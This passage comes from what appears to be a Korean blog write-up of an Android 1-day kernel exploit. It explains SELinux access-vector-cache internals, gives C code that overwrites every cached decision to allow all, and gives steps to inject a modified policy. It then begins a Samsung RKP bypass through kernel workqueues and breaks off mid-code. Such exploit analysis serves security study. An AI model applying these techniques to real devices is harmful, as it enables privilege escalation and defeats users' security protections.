class="p">);</span> + <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="p">}</span> + +</code></pre></div> </div> + + <ul> + <li><code class="language-plaintext highlighter-rouge">avc_search_node</code>에 ssid, tsid, tclass를 인자로 줘서 node를 찾는다.</li> + </ul> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /security/selinux/avc.c</span> + <span class="k">static</span> <span class="kr">inline</span> <span class="k">struct</span> <span class="n">avc_node</span> <span class="o">*</span><span class="nf">avc_search_node</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">u16</span> <span class="n">tclass</span><span class="p">)</span> + <span class="p">{</span> + <span class="k">struct</span> <span class="n">avc_node</span> <span class="o">*</span><span class="n">node</span><span class="p">,</span> <span class="o">*</span><span class="n">ret</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">hvalue</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">hlist_head</span> <span class="o">*</span><span class="n">head</span><span class="p">;</span> + + <span class="n">hvalue</span> <span class="o">=</span> <span class="n">avc_hash</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">);</span> + <span class="n">head</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">avc_cache</span><span class="p">.</span><span class="n">slots</span><span class="p">[</span><span class="n">hvalue</span><span class="p">];</span> + <span class="n">hlist_for_each_entry_rcu</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">head</span><span class="p">,</span> <span class="n">list</span><span class="p">)</span> <span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="n">ssid</span> <span class="o">==</span> <span class="n">node</span><span class="o">-&gt;</span><span class="n">ae</span><span class="p">.</span><span class="n">ssid</span> <span class="o">&amp;&amp;</span> + <span class="n">tclass</span> <span class="o">==</span> <span class="n">node</span><span class="o">-&gt;</span><span class="n">ae</span><span class="p">.</span><span class="n">tclass</span> <span class="o">&amp;&amp;</span> + <span class="n">tsid</span> <span class="o">==</span> <span class="n">node</span><span class="o">-&gt;</span><span class="n">ae</span><span class="p">.</span><span class="n">tsid</span><span class="p">)</span> <span class="p">{</span> + <span class="n">ret</span> <span class="o">=</span> <span class="n">node</span><span class="p">;</span> + <span class="k">break</span><span class="p">;</span> + <span class="p">}</span> + <span class="p">}</span> + + <span class="k">return</span> <span class="n">ret</span><span class="p">;</span> + <span class="p">}</span> +</code></pre></div> </div> + + <ul> + <li>line 8 : ssid, tsid, tclass를 기준으로 hash값을 계산한다.</li> + <li>line 9 : 해당 hash에 해당하는 <code class="language-plaintext highlighter-rouge">avc_cache.slots</code>의 <code class="language-plaintext highlighter-rouge">hlist_head</code>를 구한다. + <ul> + <li>hlist_head에는 같은 hash를 가진 avc_node들이 list로 연결되어 있다. (그림 9 참조)</li> + </ul> + </li> + <li>line 10~17 : hlist_head에 연결된 head중에 ssid, tclass, tsid가 일치하는 node를 찾는다.</li> + </ul> + </li> +</ul> + +<p><br /></p> + +<p>다시 avc_has_perm_noaudit으로 돌아와서 위 과정을 통해 알맞은 node를 찾았을 경우 찾은 node의 <code class="language-plaintext highlighter-rouge">avd(av_decision)</code>을 avd로 복사한다. 하지만 node를 찾지 못한 경우, <code class="language-plaintext highlighter-rouge">avc_compute_av</code>함수를 진행한다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/avc.c</span> +<span class="c1">// avc_has_perm_noaudit() line 11</span> + <span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="o">!</span><span class="n">node</span><span class="p">))</span> + <span class="n">node</span> <span class="o">=</span> <span class="n">avc_compute_av</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">avd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">xp_node</span><span class="p">);</span> + <span class="k">else</span> + <span class="nf">memcpy</span><span class="p">(</span><span class="n">avd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">ae</span><span class="p">.</span><span class="n">avd</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">avd</span><span class="p">));</span> +</code></pre></div></div> + +<p><br /></p> + +<p><code class="language-plaintext highlighter-rouge">avc_compute_av</code>함수는 아래와 같다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// /security/selinux/avc.c +static noinline struct avc_node *avc_compute_av(u32 ssid, u32 tsid, + u16 tclass, struct av_decision *avd, + struct avc_xperms_node *xp_node) +{ + rcu_read_unlock(); + INIT_LIST_HEAD(&amp;xp_node-&gt;xpd_head); + security_compute_av(ssid, tsid, tclass, avd, &amp;xp_node-&gt;xp); + rcu_read_lock(); + return avc_insert(ssid, tsid, tclass, avd, xp_node); +} +</code></pre></div></div> + +<p>함수 깊숙이 들어가면 너무 복잡해져서 간단히 설명하면 아래와 같다.</p> + +<ul> + <li>line 8 : security_compute_av : ssid, tsid, tclass를 기준으로 SELinux에서 사용할 새로운 context를 만든다. 그리고 avd를 초기화하여 세팅한다.</li> + <li>line 10 : 새로운 node를 만들고 세팅한 다음, hash를 계산해서 avc_cache.slots에 일치하는 hash 위치의 list에 연결한다.</li> +</ul> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android10.png" alt="그림 10. insert new node" /></p> + +<p><br /></p> + +<p>다시 avc_has_perm_noaudit으로 돌아와서, 앞선 과정에 의해 avd(av_decision)이 결정된 상태로 아래 코드가 수행된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// avc_has_perm_noaudit() line 16</span> + <span class="n">denied</span> <span class="o">=</span> <span class="n">requested</span> <span class="o">&amp;</span> <span class="o">~</span><span class="p">(</span><span class="n">avd</span><span class="o">-&gt;</span><span class="n">allowed</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">denied</span><span class="p">))</span> + <span class="n">rc</span> <span class="o">=</span> <span class="n">avc_denied</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">flags</span><span class="p">,</span> <span class="n">avd</span><span class="p">);</span> + + <span class="n">rcu_read_unlock</span><span class="p">();</span> + <span class="k">return</span> <span class="n">rc</span><span class="p">;</span> +<span class="err">}</span> +</code></pre></div></div> + +<p>요청된 request가 avd-&gt;allowed에 포함되는지 확인하고, 그렇지 않을 경우 avc_denied함수를 호출하고, 허용될 경우 rc를 반환한다.</p> + +<p><code class="language-plaintext highlighter-rouge">avc_denied</code>함수는 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/avc.c</span> +<span class="k">static</span> <span class="n">noinline</span> <span class="kt">int</span> <span class="nf">avc_denied</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> + <span class="n">u16</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">u32</span> <span class="n">requested</span><span class="p">,</span> + <span class="n">u8</span> <span class="n">driver</span><span class="p">,</span> <span class="n">u8</span> <span class="n">xperm</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">flags</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="o">*</span><span class="n">avd</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">AVC_STRICT</span><span class="p">)</span> + <span class="k">return</span> <span class="o">-</span><span class="n">EACCES</span><span class="p">;</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">selinux_enforcing</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="p">(</span><span class="n">avd</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">AVD_FLAGS_PERMISSIVE</span><span class="p">))</span> + <span class="k">return</span> <span class="o">-</span><span class="n">EACCES</span><span class="p">;</span> + + <span class="n">avc_update_node</span><span class="p">(</span><span class="n">AVC_CALLBACK_GRANT</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="n">driver</span><span class="p">,</span> <span class="n">xperm</span><span class="p">,</span> <span class="n">ssid</span><span class="p">,</span> + <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">avd</span><span class="o">-&gt;</span><span class="n">seqno</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li><code class="language-plaintext highlighter-rouge">avc_denied</code>함수에서는 flag와 linux kernel 설정에 따라 <code class="language-plaintext highlighter-rouge">-EACCESS</code> 에러를 호출하거나 avc_update_node함수를 통해 avc_node의 설정값을 바꾼다.</li> +</ul> + +<p><br /></p> + +<p><code class="language-plaintext highlighter-rouge">avc_has_perm_nodaudit</code>함수가 이렇게 return되고, <code class="language-plaintext highlighter-rouge">avc_has_perm</code> 함수로 돌아와서 <code class="language-plaintext highlighter-rouge">avc_audit</code>함수가 실행된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// avc_has_perm() line 26</span> + <span class="n">rc</span> <span class="o">=</span> <span class="n">avc_has_perm_noaudit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">avd</span><span class="p">);</span> + + <span class="n">rc2</span> <span class="o">=</span> <span class="n">avc_audit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">avd</span><span class="p">,</span> <span class="n">rc</span><span class="p">,</span> <span class="n">auditdata</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">rc2</span><span class="p">)</span> + <span class="k">return</span> <span class="n">rc2</span><span class="p">;</span> + <span class="k">return</span> <span class="n">rc</span><span class="p">;</span> +<span class="err">}</span> + +</code></pre></div></div> + +<p><br /></p> + +<p>이제 <code class="language-plaintext highlighter-rouge">avc_audit</code>함수를 살펴본다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/include/avc.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">int</span> <span class="nf">avc_audit</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> + <span class="n">u16</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">u32</span> <span class="n">requested</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="o">*</span><span class="n">avd</span><span class="p">,</span> + <span class="kt">int</span> <span class="n">result</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">common_audit_data</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> + <span class="kt">int</span> <span class="n">flags</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">u32</span> <span class="n">audited</span><span class="p">,</span> <span class="n">denied</span><span class="p">;</span> + <span class="n">audited</span> <span class="o">=</span> <span class="n">avc_audit_required</span><span class="p">(</span><span class="n">requested</span><span class="p">,</span> <span class="n">avd</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">denied</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="o">!</span><span class="n">audited</span><span class="p">))</span> + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> + <span class="k">return</span> <span class="n">slow_avc_audit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> + <span class="n">requested</span><span class="p">,</span> <span class="n">audited</span><span class="p">,</span> <span class="n">denied</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> + <span class="n">a</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> +<span class="p">}</span> +</code></pre></div></div> + +<p><br /></p> + +<p><code class="language-plaintext highlighter-rouge">avc_audit</code> 함수에서 먼저 <code class="language-plaintext highlighter-rouge">avc_audit_required</code>함수를 호출한다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/inclue/avc.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="n">u32</span> <span class="nf">avc_audit_required</span><span class="p">(</span><span class="n">u32</span> <span class="n">requested</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="o">*</span><span class="n">avd</span><span class="p">,</span> + <span class="kt">int</span> <span class="n">result</span><span class="p">,</span> + <span class="n">u32</span> <span class="n">auditdeny</span><span class="p">,</span> + <span class="n">u32</span> <span class="o">*</span><span class="n">deniedp</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">u32</span> <span class="n">denied</span><span class="p">,</span> <span class="n">audited</span><span class="p">;</span> + <span class="n">denied</span> <span class="o">=</span> <span class="n">requested</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">avd</span><span class="o">-&gt;</span><span class="n">allowed</span><span class="p">;</span> + <span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">denied</span><span class="p">))</span> <span class="p">{</span> + <span class="n">audited</span> <span class="o">=</span> <span class="n">denied</span> <span class="o">&amp;</span> <span class="n">avd</span><span class="o">-&gt;</span><span class="n">auditdeny</span><span class="p">;</span> + <span class="c1">//[...]</span> + <span class="k">if</span> <span class="p">(</span><span class="n">auditdeny</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="p">(</span><span class="n">auditdeny</span> <span class="o">&amp;</span> <span class="n">avd</span><span class="o">-&gt;</span><span class="n">auditdeny</span><span class="p">))</span> + <span class="n">audited</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> + <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">result</span><span class="p">)</span> + <span class="n">audited</span> <span class="o">=</span> <span class="n">denied</span> <span class="o">=</span> <span class="n">requested</span><span class="p">;</span> + <span class="k">else</span> + <span class="n">audited</span> <span class="o">=</span> <span class="n">requested</span> <span class="o">&amp;</span> <span class="n">avd</span><span class="o">-&gt;</span><span class="n">auditallow</span><span class="p">;</span> + <span class="o">*</span><span class="n">deniedp</span> <span class="o">=</span> <span class="n">denied</span><span class="p">;</span> + <span class="k">return</span> <span class="n">audited</span><span class="p">;</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li>line 8 → line 27 : 요청된 권한과 실제 avd가 가지고 있는 권한이 같은 경우, 즉 요청이 허용된 경우에는 audit을 진행하지 않는다고 표기한다. (return 0)</li> + <li>line 8 → line 9 : 요청된 권한과 실제 avd가 가지고 있는 권한이 다른 경우, 즉 요청이 허용되지 않는 경우에는 <code class="language-plaintext highlighter-rouge">avd-&gt;auditdeny</code> 값에 따라서 audited 변수의 값을 정한다.</li> + <li>line 29 : 혹은 앞서 <code class="language-plaintext highlighter-rouge">avc_denied</code> 에 의해 error가 발생한 상황이라면, audited는 <code class="language-plaintext highlighter-rouge">requested &amp; avd-&gt;auditallow</code> 값으로 설정된다.</li> +</ul> + +<p><br /></p> + +<p>다시 <code class="language-plaintext highlighter-rouge">avc_audit</code>으로 돌아와서 <code class="language-plaintext highlighter-rouge">avc_audit_required</code> 함수에서 0이 return 된 경우 ,즉 audit이 필요하지 않다고 판단한 경우에는 0을 return한다. 하지만 audit이 필요한 경우, slow_avc_audit함수를 호출한다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// avc_audit line 11</span> + <span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="o">!</span><span class="n">audited</span><span class="p">))</span> + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> + <span class="k">return</span> <span class="nf">slow_avc_audit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> + <span class="n">requested</span><span class="p">,</span> <span class="n">audited</span><span class="p">,</span> <span class="n">denied</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> + <span class="n">a</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> +<span class="err">}</span> +</code></pre></div></div> + +<p>audit 과정을 자세히 들여다 보진 않을 것이지만, request와 avd의 descision, 그리고 앞서 결정된 것들에 의해 여러가지 동작을 수행하게 된다.</p> + +<p><br /> +<br /></p> + +<p>지금까지 살펴본 내용을 정리하자면 다음과 같다.</p> + +<ol> + <li>ssid, tsid, tclass를 기준으로 hash값을 만든다.</li> + <li>만들어진 hash값에 해당하는 avc_cache.slots의 hlist를 가져온다. + <ul> + <li>하나의 slots는 같은 hash를 가진 avc_node들이 hlist(double linked list)로 연결되어 있다.</li> + </ul> + </li> + <li>앞서 구한 slots의 avc_node를 linked list를 순회하며 처음 주어진 ssid, tsid, tclass가 일치하는 avc_node를 구한다.</li> + <li>avc_node를 구했다면, 구한 node의 av_decision을 가져온다.</li> + <li>avc_node를 구하지 못했다면, 새로운 SELinux context를 만들고 decision을 세팅한다. + <ul> + <li>세팅한 내용과 decision을 바탕으로 node를 할당 받은 다음 hash를 구해, 만들어진 hash에 해당하는 avc_cache.slots list에 연결한다.</li> + </ul> + </li> + <li>앞서 구한 node에서 가지고 있는 av_decision과 request를 비교한다.</li> + <li>만약 허용되지 않은 request라면 linux kernel 설정에 따라 추가적인 audit을 진행한다.</li> +</ol> + +<p><br /></p> + +<p>여기서 중요한 것은 SELinux에서 권한을 비교할 때, avc_cache.slots에 hash로 접근해서 avc_node에 있는 decision을 기준으로 비교한다는 것이다. 즉, avc_node에 있는 decision을 원하는 값으로 바꿀 수 있다면 SELinux의 검사를 우회할 수 있다.</p> + +<p>자세한 방법에 대해서는 아래에서 다룬다.</p> + +<p><br /> +<br /></p> + +<h3 id="543-bypass-selinux">5.4.3 Bypass SELinux</h3> + +<p>앞서 SELinux를 Bypass하기 위해서는 avc_cache.slots안에 있는 avc_node의 decision을 바꾸면 된다는 사실을 알았다. 이 챕터에서는 이를 이용하여 실제로 SELinux를 우회하는 방법에 대해서 설명한다.</p> + +<p>먼저 avc_cache를 overwrite하는 함수는 아래와 같다.</p> +<ul> + <li>pAvcCache는 avc_cache 구조체의 주소로, 미리 leak했다고 가정한다.</li> +</ul> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int32_t</span> <span class="nf">overwrite_avc_cache</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">pAvcCache</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">int32_t</span> <span class="n">iRet</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> + <span class="kt">uint64_t</span> <span class="n">pAvcCacheSlot</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> + <span class="kt">uint64_t</span> <span class="n">pAvcDescision</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> + + <span class="k">for</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">AVC_CACHE_SLOTS</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> + <span class="p">{</span> + <span class="n">pAvcCacheSlot</span> <span class="o">=</span> <span class="n">kernel_read_ulong</span><span class="p">(</span><span class="n">pAvcCache</span> <span class="o">+</span> <span class="n">i</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="kt">uint64_t</span><span class="p">));</span> + + <span class="k">while</span><span class="p">(</span><span class="mi">0</span> <span class="o">!=</span> <span class="n">pAvcCacheSlot</span><span class="p">)</span> + <span class="p">{</span> + <span class="n">pAvcDescision</span> <span class="o">=</span> <span class="n">pAvcCacheSlot</span> <span class="o">-</span> <span class="n">DECISION_AVC_CACHE_OFFSET</span><span class="p">;</span> + + <span class="k">if</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span> <span class="o">!=</span> <span class="n">kernel_write_uint</span><span class="p">(</span><span class="n">pAvcDescision</span><span class="p">,</span> <span class="n">AVC_DECISION_ALLOWALL</span><span class="p">))</span> + <span class="p">{</span> + <span class="n">printf</span><span class="p">(</span><span class="s">"[-] failed to overwrite avc_cache decision!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> + <span class="k">goto</span> <span class="n">done</span><span class="p">;</span> + <span class="p">}</span> + + <span class="n">pAvcCacheSlot</span> <span class="o">=</span> <span class="n">kernel_read_ulong</span><span class="p">(</span><span class="n">pAvcCacheSlot</span><span class="p">);</span> + <span class="p">}</span> + <span class="p">}</span> + + <span class="n">iRet</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> + +<span class="nl">done:</span> + + <span class="k">return</span> <span class="n">iRet</span><span class="p">;</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li>line 9 : avc_cache.slots에 있는 hlist를 읽어온다. 그렇게 되면 pAvcCacheSlot은 같은 같은 hash를 가진 avc_node의 list 주소가 된다.</li> + <li>line 11 ~ 22 (while): avc_cache.slots는 hlist로 연결되어 있기 때문에 다음 연결된 node로 전환하면서 더 이상 node가 없을 때 까지 while을 반복한다. + <ul> + <li>그림 9 참고</li> + </ul> + </li> + <li>line 13 : avc_node에 descision 위치의 값에 <code class="language-plaintext highlighter-rouge">AVC_DECISION_ALLOWALL</code>를 write한다. + <ul> + <li> + <p>avc_node.avd은 avc_node.list보다 위에 존재하기 때문에 그 offset만큼 빼서 구한다.</p> + + <p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android11.png" alt="그림 11. node.avd = pAvcCacheSlot - DECISION_AVC_CACHE_OFFSET" /></p> + </li> + </ul> + </li> + <li>line 21 : 연결된 다음 avc_node로 넘어간다.</li> +</ul> + +<p><br /></p> + +<p>위 과정을 거치면 결국 <code class="language-plaintext highlighter-rouge">avc_cache.slots</code>에 있는 모든 avc_node의 decision이 <code class="language-plaintext highlighter-rouge">AVC_DECISION_ALLOWALL</code> 값으로 overwrite 된다.</p> + +<p><br /> +<br /></p> + +<p>이를 적용하여 실제로 SELinux를 bypass하는 과정을 처음부터 보면 아래와 같이 이루어진다.</p> + +<ol> + <li> + <p>avc_cache 주소를 구한다</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">pAvcCache</span> <span class="o">=</span> <span class="n">get_kernel_sym_addr</span><span class="p">(</span><span class="s">"avc_cache"</span><span class="p">);</span> +</code></pre></div> </div> + </li> + <li> + <p>/sys/fs/selinux/policy 파일을 읽는다. (selinux policy 위치에 따라 파일 위치는 변할 수 있다.)</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">iPolFd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/sys/fs/selinux/policy"</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span> +</code></pre></div> </div> + </li> + <li> + <p>fstat을 이용하여 파일 정보를 얻는다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">fstat</span><span class="p">(</span><span class="n">iPolFd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">statbuff</span><span class="p">)</span> +</code></pre></div> </div> + </li> + <li> + <p>avc_cache의 descision 주소를 구해서 overwrite한다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">overwrite_avc_cache</span><span class="p">(</span><span class="n">pAvcCache</span><span class="p">)</span> +</code></pre></div> </div> + </li> + <li> + <p>mmap을 통해 selinux 파일 매핑 후, policyFile 구조체 세팅한다</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">pPolicyMap</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">statbuff</span><span class="p">.</span><span class="n">st_size</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_PRIVATE</span><span class="p">,</span> <span class="n">iPolFd</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> + + <span class="n">pPolicyFile</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">=</span> <span class="n">PF_USE_MEMORY</span><span class="p">;</span> + <span class="n">pPolicyFile</span><span class="o">-&gt;</span><span class="n">data</span> <span class="o">=</span> <span class="n">pPolicyMap</span><span class="p">;</span> + <span class="n">pPolicyFile</span><span class="o">-&gt;</span><span class="n">len</span> <span class="o">=</span> <span class="n">statbuff</span><span class="p">.</span><span class="n">st_size</span><span class="p">;</span> +</code></pre></div> </div> + </li> + <li> + <p>SE policy를 read한다</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">policydb_init</span><span class="p">(</span><span class="n">pPolicyDb</span><span class="p">)</span> + <span class="n">policydb_read</span><span class="p">(</span><span class="n">pPolicyDb</span><span class="p">,</span> <span class="n">pPolicyFile</span><span class="p">,</span> <span class="n">SEPOL_NOT_VERBOSE</span><span class="p">)</span> +</code></pre></div> </div> + </li> + <li> + <p>앞서 overwrite한 avc_cache를 selinux policy에 삽입하고 커널에 적용한다</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">add_rules_to_sepolicy</span><span class="p">(</span><span class="n">pAvcCache</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">policydb</span><span class="p">)</span> + <span class="c1">//...</span> + <span class="n">inject_sepolicy</span><span class="p">(</span><span class="n">pAvcCache</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">policydb</span><span class="p">)</span> +</code></pre></div> </div> + </li> +</ol> + +<p>자세한 코드는 아래 링크의 전체 exploit부분을 참고하면 알 수 있다.</p> + +<p><a href="https://github.com/chompie1337/s8_2019_2215_poc/tree/master/poc">https://github.com/chompie1337/s8_2019_2215_poc/tree/master/poc</a></p> + +<p><br /> +<br /></p> + +<h2 id="55-bypass-rkp">5.5 Bypass RKP</h2> + +<p>samsung에서 제공하는 RKP는 android kernel 공격을 막을 수 있는 다양한 보호 기법을 제공한다. 기존에 kernel exploit에 사용되었던 방법인 task_struct의 cred를 overwrite하는 방법은 RKP가 task_struct에 write하는 것을 막음으로서 사용할 수 없게 되었다.</p> + +<p>하지만 해커들은 RKP를 우회하여 root권한으로 코드를 실행하는 방법을 발견해 내었다.</p> + +<p>이 챕터에서는 아래 링크에서 소개한 exploit 방법을 기반으로 분석을 진행한다.</p> + +<ul> + <li><a href="https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Qualcomm/CVE-2022-22057">https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Qualcomm/CVE-2022-22057</a></li> +</ul> + +<p><br /></p> + +<h3 id="551-using-call_usermodehelper_exec_work">5.5.1 Using call_usermodehelper_exec_work</h3> + +<p>이 exploit에서는 system권한으로 수행되는 workqueue에 call_usermodehelper_exec_work함수를 추가하여 kworker가 해당 함수를 root 권한으로 실행시키는 방법으로 RKP를 우회한다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// workqueue by system permissions +ffffffc012c8f7e0 D system_wq +ffffffc012c8f7e8 D system_highpri_wq +ffffffc012c8f7f0 D system_long_wq +ffffffc012c8f7f8 D system_unbound_wq +ffffffc012c8f800 D system_freezable_wq +ffffffc012c8f808 D system_power_efficient_wq +ffffffc012c8f810 D system_freezable_power_efficient_wq +</code></pre></div></div> + +<p><br /></p> + +<p>위에서 사용되는 <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수를 살펴본다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /kernel/kmod.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">call_usermodehelper_exec_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">subprocess_info</span> <span class="o">*</span><span class="n">sub_info</span> <span class="o">=</span> + <span class="n">container_of</span><span class="p">(</span><span class="n">work</span><span class="p">,</span> <span class="k">struct</span> <span class="n">subprocess_info</span><span class="p">,</span> <span class="n">work</span><span class="p">);</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">sub_info</span><span class="o">-&gt;</span><span class="n">wait</span> <span class="o">&amp;</span> <span class="n">UMH_WAIT_PROC</span><span class="p">)</span> <span class="p">{</span> + <span class="n">call_usermodehelper_exec_sync</span><span class="p">(</span><span class="n">sub_info</span><span 